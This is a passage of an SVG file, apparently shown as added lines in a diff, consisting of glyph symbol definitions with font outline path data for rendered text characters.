+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 1.15625 -12.640625 C 1.34375 -12.679688 1.554688 -12.707031 1.796875 -12.71875 C 2.035156 -12.738281 2.273438 -12.75 2.515625 -12.75 C 2.753906 -12.757812 2.988281 -12.765625 3.21875 -12.765625 C 3.457031 -12.773438 3.679688 -12.78125 3.890625 -12.78125 C 4.765625 -12.78125 5.507812 -12.628906 6.125 -12.328125 C 6.738281 -12.035156 7.238281 -11.609375 7.625 -11.046875 C 8.007812 -10.484375 8.285156 -9.8125 8.453125 -9.03125 C 8.617188 -8.25 8.703125 -7.375 8.703125 -6.40625 C 8.703125 -5.539062 8.617188 -4.710938 8.453125 -3.921875 C 8.296875 -3.128906 8.023438 -2.429688 7.640625 -1.828125 C 7.253906 -1.222656 6.742188 -0.738281 6.109375 -0.375 C 5.484375 -0.0195312 4.691406 0.15625 3.734375 0.15625 C 3.578125 0.15625 3.378906 0.148438 3.140625 0.140625 C 2.898438 0.140625 2.648438 0.128906 2.390625 0.109375 C 2.128906 0.0976562 1.890625 0.0820312 1.671875 0.0625 C 1.453125 0.0507812 1.28125 0.0351562 1.15625 0.015625 Z M 3.953125 -11.546875 C 3.835938 -11.546875 3.707031 -11.546875 3.5625 -11.546875 C 3.425781 -11.546875 3.289062 -11.535156 3.15625 -11.515625 C 3.03125 -11.503906 2.910156 -11.492188 2.796875 -11.484375 C 2.679688 -11.472656 2.585938 -11.460938 2.515625 -11.453125 L 2.515625 -1.15625 C 2.554688 -1.144531 2.640625 -1.132812 2.765625 -1.125 C 2.898438 -1.125 3.035156 -1.117188 3.171875 -1.109375 C 3.304688 -1.109375 3.4375 -1.101562 3.5625 -1.09375 C 3.6875 -1.082031 3.78125 -1.078125 3.84375 -1.078125 C 4.507812 -1.078125 5.0625 -1.222656 5.5 -1.515625 C 5.945312 -1.804688 6.300781 -2.191406 6.5625 -2.671875 C 6.820312 -3.160156 7.003906 -3.726562 7.109375 -4.375 C 7.222656 -5.019531 7.28125 -5.707031 7.28125 -6.4375 C 7.28125 -7.070312 7.226562 -7.695312 7.125 -8.3125 C 7.03125 -8.925781 6.859375 -9.46875 6.609375 -9.9375 C 6.367188 -10.414062 6.035156 -10.800781 5.609375 -11.09375 C 5.179688 -11.394531 4.628906 -11.546875 3.953125 -11.546875 Z M 3.953125 -11.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
